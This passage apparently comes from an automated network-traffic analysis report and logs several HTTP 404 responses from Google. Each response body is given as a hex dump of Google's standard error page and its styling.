70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:01 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:02 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:03 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:06 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:07 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:08 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:11 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 